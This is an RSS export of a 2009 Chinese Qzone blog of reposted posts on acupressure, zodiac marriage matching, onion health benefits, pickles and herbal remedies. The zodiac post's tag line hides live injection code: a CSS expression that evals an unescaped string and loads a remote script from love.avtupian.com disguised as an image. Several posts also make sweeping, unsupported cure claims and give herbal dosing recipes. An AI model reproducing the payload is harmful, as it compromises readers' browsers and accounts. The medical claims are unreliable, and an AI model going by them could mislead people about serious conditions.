<![CDATA[层林尽染/:P]]> http://47592174.qzone.qq.com Sun, 29 Nov 2009 08:50:40 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Thu, 05 Nov 2009 00:28:17 GMT <![CDATA[[转]用鼠标碰下 你会有想不到的惊喜]]> http://47592174.qzone.qq.com/blog/1257380897 不开心时来看看


用鼠标点出你的“爱”



看看有几朵水仙为你开
点三下
]]> http://47592174.qzone.qq.com/blog/1257380897#comment 142606857 Thu, 05 Nov 2009 00:28:17 GMT http://47592174.qzone.qq.com/blog/1257380897 <![CDATA[后溪穴——统治一切颈肩腰椎病的神奇大穴【转载的文章】]]> http://47592174.qzone.qq.com/blog/1255317570

后溪穴怎么找呢？把手握成拳，在第5 掌指关节后的远侧掌横纹头赤白肉际处即是（即
把手握拳，掌指关节后横纹的尽头就是该穴）。
后溪最早见于《黄帝内经·灵枢·本输》篇，为手太阳小肠经的输穴，又为八脉交会之
一，通于督脉小肠经。有舒经利窍、宁神之功。适合经常坐在电脑前的上班族、发育中的孩
子，可预防驼背、颈椎、腰部、腿部疼痛，也有保护视力、缓解疲劳、补精益气的功效。
有一位外地的学生告诉我，当地有位治疗腰间盘突出的中医名家，每次给病人治疗时，
都会在在病人腰部疼痛的部位扎上几针，然后贴上一种特制的膏药，最后在后溪穴上扎上一
针。有些经年不愈的重症患者，经过这番治疗，短时间内就恢复健康了。他觉得老先生的膏
药很神奇，准备拜老先生为师，学这个治疗腰间盘突出的绝招。
听了他的描述，我跟他说，“这种绝活儿我也会，而且比他还简单。其实在腰部局部扎
针、贴膏药都是老先生使用的辅助疗法，真正管用的是扎在后溪穴上的那一针。扎针有个小
窍门，进针之后边捻转边提插，同时让病人活动腰部。”学生听后恍然大悟，“我怎么就没
想到呢？！”
道家医学里是非常注重后溪穴的。它可以直接通到督脉上去，属于八脉交汇穴里面很重
要的一个穴位。督脉主一身阳气，阳气旺，则全身旺。
针灸是比较专业的治病手段，如果大家只作养生保健时则只需用按揉后溪穴的方法就可
以，一般按揉几分钟后就可振奋全身的阳气，身体就会像熊熊燃烧的火炉一样，暖彻心扉。
点揉此穴，对小肠经有热、腿疼有很好的治疗功效。
后溪穴怎么找呢？把手握成拳，在第5 掌指关节后的远侧掌横纹头赤白肉际处即是（即
把手握拳，掌指关节后横纹的尽头就是该穴）。
如果你坐在电脑面前，可以把双手后溪穴的这个部位放在桌子沿上，用腕关节带动双手，
轻松地来回滚动，即可达到刺激效果。在滚动当中，它会有一种轻微的酸痛。这个动作不需
要有意识的去做，每天只用抽出三五分钟的时间来，随手动一下，这个简单的治颈肩腰椎病
的方法，我把它叫作滚揉后溪穴。
坚持下来则对颈椎、腰椎确实有着非常非常好的疗效，对保护视力也很好。以前工作繁
忙时，我每天在电脑前的工作时间也有十一、二个小时，但多么多年来我的视力、颈椎都没
有问题，靠的也正是这个方法。
其实二十多年前，我初行医的时候，颈椎病是四十岁以后的人的专利，但现在不是了，
二三十岁的颈椎病患者到处都是，我甚至见过的颈椎病的小学生！原因很简单：伏案久了，
压力大了，自己又不懂得怎么调理，所以颈椎病提前光临了。
不仅仅得颈椎病，长期伏案的白领、职员或者搞文字工作的，老早就腰也弯了，背也驼
了，眼睛也花了，脾气也糟了，未老先衰，没有足够的阳刚之气。这是当今多数人面临的一
个严重的问题。
看到这些问题，很多人都说，这是脑力劳动的结果，脑力劳动也是很消耗人的；人们以
为近视仅仅是由于眼睛离书本或电脑屏幕太近所致。其实不尽然，当长期保持同一姿势伏案
工作或学习的时候，上体前倾，颈椎紧张了，首先压抑了督脉，督脉总督一身的阳气，压抑
了督脉也就是压抑了全身的阳气，于是，久而久之，整个脊柱就弯了，人的精神也没了。
人体的精神，不是被脑力劳动所消耗掉的，而是被错误的姿势消耗掉的。眼睛也需要靠
阳气来温煦，仅仅是眼睛疲劳，可能不能导致近视；真正导致近视的，是眼睛在缺少阳气温
煦的情况下过度疲劳。
这一系列问题，出于同一原因，那么，通过一个穴，也就可以全部解决，这个穴就是我
们说的后溪。这是小肠经上的一个穴，奇经八脉的交会穴，通督脉，能泻心火、壮阳气，调
颈椎，利眼目，正脊柱。
临床上，颈椎出问题了，腰椎出问题了，眼睛出问题了，都要用到这个穴，效果非常明
显。它可以调整长期伏案或在电脑前学习和工作对身体带来的一切不利影响，只要坚持，百
用百灵。
我们想想，当我们坐在电脑旁阅读文件的时候，手是怎么放的？肯定是一手不离鼠标，
一手仍在键盘上吧！保持这个姿势不动，人都变僵了。
这时，不妨灵活一点，把手解放出来，让双手的后溪穴抵在桌沿或键盘上，来回滚动，
揉一揉，每次刺激三到五分钟，每个小时刺激一次就足够了。这是毫不耽误工作的，因为这
时候，眼睛该看什么还可以看什么，不耽误。
大家可以试一下，坚持一天这样做下来，肯定到了下班的时候腰不会酸、脖子不会累，
视力疲劳会很大程度上的缓解。每天坚持这么做下去，首先是腰椎颈椎轻松挺直，同时，你
会发现眼睛也比以前好使了。
如果因为忙，总是忘记做这个动作怎么办呢？我建议，可以定个闹钟，每隔一个小时提
醒我们揉动一下后溪穴。不管忙到什么程度，我想这么一点时间还是能抽出来吧。何况，每
小时这短短的三分钟，拯救的是我们的健康！
凡是到我这里来看颈椎病、腰椎病的人，我都建议他们这样去用后溪穴，效果都非常好，
很多病人反映，这样做比去按摩院按摩颈椎腰椎要管用得多。有位三十岁的白领对我说：“本
以为骨骼已经定型慢慢要生驼背的，但最近感觉背明显比以前直了。”我说，当然，年轻人
驼背不是因为骨骼定型，脊柱是一节一节的，是活动的，怎么可能随便定型呢？关键是你背
上气机不畅，经脉阻滞，才出现驼背的迹象的，一旦这个气机通畅了，你的背自然就直起来
了！
我还要特别把这个方法介绍给正在读书的小孩子。这些孩子很可怜，从小学到高中，小
小年纪就承受这么沉重的学习压力，我们可不希望他们一辈子戴上近视眼镜，更不能让他们
在沉重的压力下失去朝气，成为小驼背。作为一个被人称作养生治病的大夫，我想这是我能
做到的。
其实我也是受益于后溪穴的。很久以前，我就养成了揉后溪的习惯，随时随地，有空就
揉一揉。比如，我开车的时候，如果碰见路上堵车，或是红灯亮了，也会把后溪放在方向盘
上来回滚揉几次，很舒服，甚至很潇洒。这时候，别人在着急上火，而我在通督脉、泻心火、
壮阳气、调颈椎、正脊柱、利眼目，受用无穷。一不起急，二不发火，精神振奋。这么一来，
有时候居然觉得堵车也堵得很值！ ]]> http://47592174.qzone.qq.com/blog/1255317570#comment 142606849 Mon, 12 Oct 2009 03:19:30 GMT http://47592174.qzone.qq.com/blog/1255317570 <![CDATA[一张图片,测出你的显示器好坏 作者:lhxxch]]> http://47592174.qzone.qq.com/blog/1255049316

因此挑选一个质量好的显示器是一件不可忽视的事情。

下面教你一个方法，

看看你能看到下面的第几行。

看不到六的朋友,可以直接把显示器扔了~~~~~

]]> http://47592174.qzone.qq.com/blog/1255049316#comment 142606849 Fri, 09 Oct 2009 00:48:36 GMT http://47592174.qzone.qq.com/blog/1255049316 <![CDATA[[转]美国空军拍摄的9.11悲壮照片]]> http://47592174.qzone.qq.com/blog/1250818030






















　　摄影者在百老汇大街探身拍下了第二架飞机撞上大楼的瞬间。 (图1)









无处可逃只有跳楼了，大家想想，从百层楼跳下来，能有命吗？？？ ]]> http://47592174.qzone.qq.com/blog/1250818030#comment 8389129 Fri, 21 Aug 2009 01:27:10 GMT http://47592174.qzone.qq.com/blog/1250818030 <![CDATA[[转]属相婚配的基本说法]]> http://47592174.qzone.qq.com/blog/1246779571 龙逢兔儿云端去，金鸡见犬泪交流。
属相婚配的基本说法：
蛇与猴合
红蛇白猴满堂红，合婚相配古来兴，大婚相对子孙有，福寿双全多康宁。
鼠与牛合
黑鼠黄牛正相合，结交匹配不岔脱，儿女百年多长久，富贵荣华福禄多。
马与羊合
红马黄羊两相宜，这等婚姻不累罪，日子豪富久长在，子孙寿禄更夺魁。
兔与狗合
青兔黄狗古来有，合婚相配到长久，家门古庆福寿多，万贯家财足北斗。
虎与猪合
青虎黑猪上等婚，男女相合好来因，财禄丰盆当事顺，人口兴状有精神。
龙与鸡合
黄龙白鸡更相投，出门发财好来由，儿女满堂子孙广，福寿长绵永不休。

羊鼠一旦休
羊鼠相交一旦休，婚姻匹配古人留，诸君若犯羊与鼠，夫妻不利难则天。
白马怕青牛
只未白马怕青牛，十人近看九人愁，配夫若犯青牛马，妇女也难到白头。
金鸡怕玉犬
金鸡玉犬难躲避，合婚子亏不可迂，二属相争大不通，世上犯者要紧忌。
龙兔泪交流
合婚不幸皱眉头，兔儿见龙泪交流，男女时常犯争斗，苦如黄莲少梦愁。
虎蛇如刀错
蛇虎配婚如刀错，男女不合没着落，生儿养女也难活，日子艰难没法过。
猪猴不到头
猪与猿猴不到头，终朝每日泪交流，男女若能长共久，合家不利一笔勾
生肖鼠的最佳婚配对象
　　子鼠与丑牛六合，因此最宜找个属牛的对象，此乃上上等婚配。其次是与申猴
辰龙合， 故也宜找个属猴或属龙的，此乃上等婚配。子鼠与午马相冲，因此最忌找个属马的，此乃下下等婚配。子鼠又与卯兔相刑，故也忌找属兔的，此乃下等婚配。子鼠与未羊也有相害的成分，故也不宜找属羊的，此乃中下等婚配。有时也讲子子自刑，此乃中下等婚配，故也应避免同属相的。
　生肖牛的最佳婚配对象
　　丑牛与子鼠六合，因此最宜找个属鼠的对象，此乃上上等婚配。其次是与巳蛇酉鸡三合，故也宜找个属蛇或属鸡的，此乃上等婚配。丑牛与未羊相冲，因此最忌找属羊的，此乃下下等婚配。丑牛又与未羊、戌狗构成三刑，故最忌找属羊属狗的，此乃下等婚配。丑牛又与午马相害，故也不宜找属马的，此乃中下等婚配。
　生肖虎的最佳婚配对象
　　寅虎与亥猪六合，因此最宜找个属猪的对象，此乃上上等婚配。其次是与午马戌狗三合，此乃上等婚配，故也宜找个属马或属狗的。寅虎与申猴相冲，因此最忌找属猴的，此乃下下等婚配。寅虎又与巳蛇、申猴构成三刑，故最忌找属蛇属猴的，此乃下等婚配。
　生肖兔的最佳婚配对象
　　卯兔与戌狗六合，因此最宜找个属狗的对象，此乃上上等婚配。其次是与亥猪未羊三合，故也宜找个属猪或属羊的，此乃上等婚配。卯兔与酉鸡相冲，因此最忌找属鸡的，此乃下下等婚配。卯兔与子鼠又有相刑的成分，故也不宜找属鼠的，此乃中下等婚配。卯兔还与辰龙相害，故也不宜找属龙的，此乃中下等婚配。
　生肖龙的最佳婚配对象
　　辰龙与酉鸡六合，因此最宜找个属鸡的对象，此乃上上等婚配。其次是与申猴子鼠三合，故也宜找个属猴属鼠的，此乃上等婚配。辰龙与戌狗相冲，因此最忌找属狗的，此乃下下等婚配。辰龙与卯兔又有相害的成分，故也不宜找属兔的，此乃中下等婚配。有时也讲辰辰自刑，故也要注意避免同属相的，此乃中下等婚配。
　生肖蛇的最佳婚配对象
　　巳蛇与申猴六合，因此最宜找个属猴的对象，此乃上上等婚配。其次是与酉鸡丑牛三合，故也宜找个属鸡或属牛的，此乃上等婚配。巳蛇与亥猪相冲，因此最忌找属猪的，此乃下下等婚配。巳蛇与寅虎相刑，此乃下等婚配；有时也讲寅、巳、申三刑，故三口人不宜构成蛇、虎、猴的格局。
　生肖马的最佳婚配对象
　　午马与未羊六合，因此最宜找个属羊的对象，此乃上上等婚配。其次是与寅虎戌狗三合，故也宜找个属虎属猴的，此乃上等婚配。午马与子鼠相冲，因此最忌找属鼠的，此乃下下等婚配。午马与丑牛相害，因此也应避免找属牛的，此乃中下等婚配。有时又讲午午自刑，故也应避免同属相的，此乃中下等婚配。
　生肖羊的最佳婚配对象
　　未羊与午马六合，因此最宜找个属马的对象，此乃上上等婚配。其次是与亥猪卯兔三合，故也宜找个属猪属兔的，此乃上等婚配。未羊与丑牛相冲，因此最忌找属牛的，此乃下下等婚配。未羊与丑牛戌狗构成三刑，因此也不宜找属狗的，此乃下等婚配。未羊与子鼠相害，因此也不宜找属鼠的，此乃中下等婚配。
　生肖猴的最佳婚配对象
　　申猴与巳蛇六合，因此最宜找个属蛇的对象，此乃上上等婚配。其次是与子鼠辰龙三合，故也宜找个属鼠属龙的，此乃上等婚配。申猴与寅虎相冲，因此最忌找属虎的，此乃下下等婚配。申猴又与巳蛇寅虎构成三刑，因此三口人之间不宜形成虎、蛇、猴这种配合。申猴又与亥猪相害，因此也不宜找属猪的，此乃中下等婚配。
　生肖鸡的最佳婚配对象
　　酉鸡与辰龙六合，因此最宜找个属龙的对象，此乃上上等婚配。其次是与巳蛇丑牛三合，故也宜找个属蛇属牛的，此乃上等婚配。酉鸡与卯兔相冲，因此最忌找属兔的，此乃下下等婚配。酉鸡又与戌狗相害，故也不宜找属狗的，此乃中下等婚配。有时也讲酉酉自刑，故也应避免同属相的，此乃中下等婚配。
　生肖狗的最佳婚配对象
　　戌狗与卯兔六合，因此最宜找个属兔的对象，此乃上上等婚配。其次是与寅虎午马三合，故也宜找个属虎属马的，此乃上等婚配。戌狗与辰龙相冲，故最忌找属龙的，此乃下下等婚配。戌狗又与未羊丑牛构成三刑，故不宜找属羊属牛的，此乃下等婚配。戌狗又与酉鸡相害，故不宜找属鸡的，此乃中下等婚配。
　生肖猪的最佳婚配对象
　　亥猪与寅虎六合，因此最宜找个属虎的对象，此乃上上等婚配。其次是与卯兔未羊三合，故也宜找个属兔属羊的，此乃上等婚配。亥猪与巳蛇相冲，故最忌找属蛇的，此乃下下等婚配。有时也讲亥亥自刑，故也不宜找同属相的，此乃中下等婚配。

本文标签：[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://47592174.qzone.qq.com/blog/1246779571#comment 134218249 Sun, 05 Jul 2009 07:39:31 GMT http://47592174.qzone.qq.com/blog/1246779571 <![CDATA[[转]想发泄的请进！]]> http://47592174.qzone.qq.com/blog/1246608164 请往下拉！
]]> http://47592174.qzone.qq.com/blog/1246608164#comment 4104 Fri, 03 Jul 2009 08:02:44 GMT http://47592174.qzone.qq.com/blog/1246608164 <![CDATA[洋葱的营养成分和保健功效]]> http://47592174.qzone.qq.com/blog/1246497832



营养成分　　洋葱以肥大的肉质鳞茎为食用器官，营养丰富，据测定，每100克鲜洋葱头含水分88克左右，蛋白质1-1.8克，脂肪0.3-0.5克，碳水化合物5-8克，粗纤维0.5克，热量130干焦，钙12毫克，磷46毫克，铁0.6毫克，维生素C14毫克，尼克酸0.5毫克，核黄素0.05毫克，硫胺素0.08毫克，胡萝L素1.2毫克。还含有咖啡酸、芥子酸、桂皮酸、柠檬酸盐、多糖和多种氨基酸。挥发油中富含蒜素、硫醇、三硫化物等。花蕾、花粉、花药等均含胡萝卜素。洋葱的致泪成分是环蒜氨酸，洋葱内所含的S-丙烯基-L-半肮氨酸硫氢化物是环蒜氨酸的前体，在碱性条件下，可环合成环蒜氨酸。

保健功效　　1. 洋葱具有发散风寒的作用，是因为洋葱鳞茎和叶子含有一种称为硫化丙烯的油脂性挥发物，具有辛简辣味，这种物质能抗寒，抵御流感病毒，有较强的杀菌作用；

　　2. 洋葱营养丰富，且气味辛辣。能刺激胃、肠及消化腺分泌，增进食欲，促进消化，且洋葱不含脂肪，其精油中含有可降低胆固醇的含硫化合物的混合物，可用于治疗消化不良、食欲不振、食积内停等症；

　　3. 洋葱是目前所知唯一含前列腺素A的。前列腺素A能扩张血管、降低血液黏度，因而会产生降血压、能减少外周血管和增加冠状动脉的血流量，预防血栓形成作用。对抗人体内儿茶酚胺等升压物质的作用，又能促进钠盐的排泄，从而使血压下降，经常食用对高血压，高血脂和心脑血管病人都有保健作用；

　　4. 洋葱有一定的提神作用，它能帮助细胞更好地利用葡萄糖，同时降低血糖，供给脑细胞热能，是糖尿病、神志萎顿患者的食疗佳蔬；

　　5. 洋葱中含有一种名炎“栎皮黄素”9的物质，这是目前所知最有效的天然抗癌物质之一，它能阻止体内的生物化学机制出现变异，控制癌细胞的生长，从而具有防癌抗癌作用；

　　6. 洋葱所含的微量元素硒是一种很强的抗氧化剂，能消除体内的自由基，增强细胞的活力和代谢能力，具有防癌抗衰老的功效；

　　7. 洋葱中还含有一定的钙质，近年来，瑞士科学家发现常吃洋葱能提高骨密度，有助于防治骨质疏松症；

　　8. 洋葱中含有植物杀菌素如大蒜素等，因而有很强的杀菌能力。嚼生洋葱可以预防感冒。

　　近代医学研究还表明，洋葱中含有微量元素硒。硒是一种抗氧化剂，它的特殊作用是能使人体产生大量谷胱甘肽，谷胱甘肽的生理作用是输送氧气供细胞呼吸，人体内硒含量增加，癌症发生率就会大大下降。所以，洋葱又是一种保健食品。

　　洋葱还具有降血糖作用，因洋葱中含有与降血糖药甲磺丁脉相似的有机物，并在人体内能生成具有强力利尿作用的皮苦素。糖尿病患者每餐食洋葱25～50克能起到较好的降低血糖和利尿的作用。

　　洋葱中的植物杀菌素除具有刺激食欲、帮助消化作用外，还由于它经由呼吸道、泌尿道、汗腺排出时，能刺激管道壁分泌，所以又有祛痰、利尿、发汗、预防感冒以及抑菌防腐的作用。

　　洋葱中含糖、蛋白质及各种无机盐、维生素等营养成分对机体代谢起一定作用，较好地调节神经，增长记忆，其挥发成分亦有较强的刺激食欲、帮助消化、促进吸收等功能。所含二烯丙基二硫化物及蒜氨酸等，也可降低血中胆固醇和甘油三脂含量，从而可起到防止血管硬化作用。

　　洋葱性温，味辛甘。有祛痰、利尿、健胃润肠、解毒杀虫等功能。可治食欲不振、大便不畅、痢疾、肠炎、虫积腹痛、创伤溃疡、赤白带下等病症。洋葱所含前列腺素A，具有明显降压作用，所含甲磺丁脲类似物质有一定降血糖功效。能抑制高脂肪饮食引起的血脂升高，可防止和治疗动脉硬化症。洋葱提取物还具有杀菌作用，可提高胃肠道张力、增加消化道分泌作用。洋葱中有一种肽物质，可减少癌的发生率。

　　【洋葱可预防骨质疏松症】

　　家庭主妇不爱用洋葱做菜，处理时会让人流眼泪，很多人也怕洋葱味。除非是 手艺高超的洋葱料理，否则真的很难找到洋葱的热爱者。但是想要让自己骨胳结实、身体长得高、预防骨质酥松症的人，最好还是乖乖地捏着鼻子吃洋葱吧。因为权威期刊「自然」的最新研究报告指出，洋葱是最能够防止骨质流失的一种蔬菜。洋葱预防骨质流失的效果，甚至比骨质酥松症治疗药「calcitonin」还要好。研究人员让雄性大白鼠每天吃一公克干洋葱，连续四周后，公白鼠的骨质平均增加了13.5-18%。另一组实验则发现，让大白鼠食用含有洋葱的混合蔬菜，也能够减少骨质流失问题。第三组实验则是让摘除卵巢的雌性大白鼠每天吃1.5公克的洋葱，结果骨质流失的速率减少了25%。更值得注意的是，洋葱的保健功效在短短12小时内就看得到了。研究人员认为，洋葱的效果可能来自于「预防骨质流失」，因此想要利用洋葱保健的人，每天可能要吃上200-300公克（10盎司）的洋葱，才能够预防骨质酥松症。医食同源，在我们日常食物中，有很多蔬菜水果都具有药物般的疗效；像西餐里少不了的配菜洋葱，它对身体的好处简直超乎想象。洋葱炒蛋，或洋葱炒牛肉，都是美味无比的健康菜；而洋葱还可以用来生吃或榨汁喝，根据医学实验，它更能发挥多种神奇疗效。

　　【洋葱可以预防胆固醇过高】

　　据哈佛医学院心脏科教授克多格尔威治博士指出，每天生吃半 洋葱，或喝等量的洋葱汁，平均可增加心脏病人约30%的HDL含量（HDL为高密度脂蛋白胆固醇，一种被认为有助于预防动脉粥状硬化的胆固醇，也是一种的好的胆固醇。） 每天生吃半个洋葱，或喝等量的洋葱汁，以保护心脏，这原是个民间偏方，克多博士在自己的诊所里对病人进行实验，证明洋葱确有提升好胆固醇的疗效，不过洋葱煮得越熟，越不具效果。

　　【洋葱可以分解脂肪】

　　克多博士让诊所里的心脏病人每天吃洋葱，结果发现洋葱里所含的化合物也 能阻止血小板凝结，并加速血液凝块溶解。所以，当你享用高脂肪食物时，最好能搭配些许洋葱，将有助于抵销高脂肪食物引起的血液凝块；所以说牛排通常搭配洋 葱一起吃，是很有道理的。

　　【洋葱可以预防胃癌】

　　洋葱和大蒜、大葱、韭菜这些葱属蔬菜，因含有抗癌的化学物质，据研究人员在中国山东省一个胃癌罹患率很高的地方所做的调查发现，当洋葱吃得越多，得胃癌的机率就越低。

　　【洋葱可以对抗哮喘】

　　洋葱含有至少三种抗发炎的天然化学物质，可以治疗哮喘。由于洋葱可以抑制组织胺的活动，而组织胺正是一种会引起哮喘过敏症状的化学物质；据德国的研究，洋葱可以使哮喘的发作机率降低一半左右。

　　【洋葱可以治疗糖尿病】

　　很久以前，洋葱就被用来治疗糖尿病，到了现代，医学也证明洋葱确实能够降血糖；而且不论生食或熟食，都同样有效果。原来洋葱里有一种抗糖尿病的化合物，类似常用的口服降血糖剂甲磺丁胺，具有刺激胰岛素合成及释放的作用。

　　【洋葱还有其他多种疗效】

　　洋葱的妙用还不止上述这些，在日常生活中，洋葱还可用来防治失眠：将切碎的洋葱放置于枕边，洋葱特有的刺激成分，会发挥镇静神经、诱人入眠的神奇功效。感冒的时候，喝加了洋葱的热味噌汤，很快就可发汗退烧。如果鼻塞，以一小片洋葱抵住鼻孔，洋葱的刺激气味，会促使鼻子瞬间畅通起来。如果咳嗽，以纱布包裹切碎的洋葱，覆盖于喉咙到胸口，也可以很快抑制咳嗽。 ]]> http://47592174.qzone.qq.com/blog/1246497832#comment 142606849 Thu, 02 Jul 2009 01:23:52 GMT http://47592174.qzone.qq.com/blog/1246497832 <![CDATA[我做的冰箱泡菜]]> http://47592174.qzone.qq.com/blog/1245895448





天气已经很炎热了，家庭饭桌上如果天天有一盘清甜，脆爽，微辣的泡菜，无疑会使人胃口大增。但是，做泡菜看起来简单，如果只是按照传统的方法，用泡菜坛子去腌制泡菜，在当前天气如此炎热的情况下，泡菜会很快熟透。如果不及时捞上来，你就难以吃到新鲜可口的泡菜了。在南方，夏天的泡菜必须头天下原料，第二天必须捞上来吃。泡菜坛子如果大了，腌制的蔬菜多了，就很难管理了，往往是泡菜腌制得过熟，味道，口感都差多了。我们这里菜场里有很多敞开式腌制的泡菜，味道合适，菜品新鲜，是那种刚刚脱离生的感觉的泡菜，吃到口里脆蹦蹦的，感觉真是太好了！但是，你要是天天想吃到它，还是自己做比较方便，而且从经济上也划算。方法是：找一个比较大的玻璃或者陶瓷，搪瓷容器【带盖】，容量大约1.5升左右。泡菜水的方法还是传统的，水烧开冷却〔放入合适的花椒，1-2粒八角和水一起烧开冷却〕，盐，白酒，白醋，冰糖等适量。然后可以放入在超市里买的泡米辣椒，这可以根据自己喜好放多放少，主要是调节味道。然后可以放入生姜片，蒜粒可根据喜好决定放还是不放。再就是蔬菜原料了，建议首选洋葱和胡萝卜，洋葱切成片，胡萝卜切成细长条。这两样蔬菜口感好，有营养，特别是胡萝卜，泡多久都很脆爽！洋葱则是头天泡，第二天吃，酸甜可口，脆蹦蹦的，对人身体有益！其次是可以选择辣椒，花菜，苦瓜等水分不大的蔬菜，花菜口感极佳！！蔬菜放入后，盖上盖子，即将容器放入冰箱里面。其原理是使泡菜在低温下腌制，保持泡菜适度发酵，保证泡菜口感。一般蔬菜都是第二天可吃，洋葱不能超过三天！腌制一段时间后，泡菜水会增加，可舀出一部分水。注意要定时不断添加盐，冰糖，白酒，白醋，保持泡菜的正常口味。我的冰箱泡菜的制作方法就是这些。您不妨去试试，每天花一点时间，去伺弄冰箱泡菜，你一定会从中得到实惠和乐趣！！ ]]> http://47592174.qzone.qq.com/blog/1245895448#comment 134218257 Thu, 25 Jun 2009 02:04:08 GMT http://47592174.qzone.qq.com/blog/1245895448 <![CDATA[[转]腰间盘突出中药疗法]]> http://47592174.qzone.qq.com/blog/1240718997

男二:大艽50克,川羌20克,土虫50克,生鳖甲100克,龟板100克,乌蛇100克,白花蛇二条,三七50克,血竭40克,灵仙50克,钩藤40克,红花30克,桂枝30克,细辛20克,地龙30克,怀牛夕50克,元胡30克,杜仲炭30克,没药30克,苏木30克,皂刺30克,山药40克,水蛭50克,桃仁40克,五加皮40克,全虫15克,伸筋草50克,洋火叶40克,木瓜50克,甘草30克,五加皮40克,全虫15克,伸筋草50克,洋火叶40克,木瓜50克,甘草30克.


女一:天麻100,细辛15,元胡20,威灵仙50,洋火叶30,乌蛇100,折花蛇二条,水蛭50,生鳖甲100,山药50,龟板100,土虫50,红花40,三七50,血竭40,苏木40,山芋肉50,大活50,五加皮50,川羌30,桂枝30,杜仲炭50,桃仁50,木瓜50,伸筋草50,怀牛夕50,乳香20,没药20,甘草30.

服用方法：共研细面，每次十五克，温水服，黄酒送。

]]> http://47592174.qzone.qq.com/blog/1240718997#comment 142606856 Sun, 26 Apr 2009 04:09:57 GMT http://47592174.qzone.qq.com/blog/1240718997 <![CDATA[[转]骨质增生的中药疗法]]> http://47592174.qzone.qq.com/blog/1240718986
细辛15,灵仙40,毛狗40,乌蛇50,元胡15,生鳖甲30,龟板30,三七30,鸡血藤20,土虫25,五加皮30,桃仁15,地枫15,年见15,川牛夕20,川羌20,杜仲炭20,没药15,伸筋草30,水蛭25,苏木20,大艽30,洋火叶20,甘草20.


泡白酒3斤,每次15克.每日两次.

]]> http://47592174.qzone.qq.com/blog/1240718986#comment 142606856 Sun, 26 Apr 2009 04:09:46 GMT http://47592174.qzone.qq.com/blog/1240718986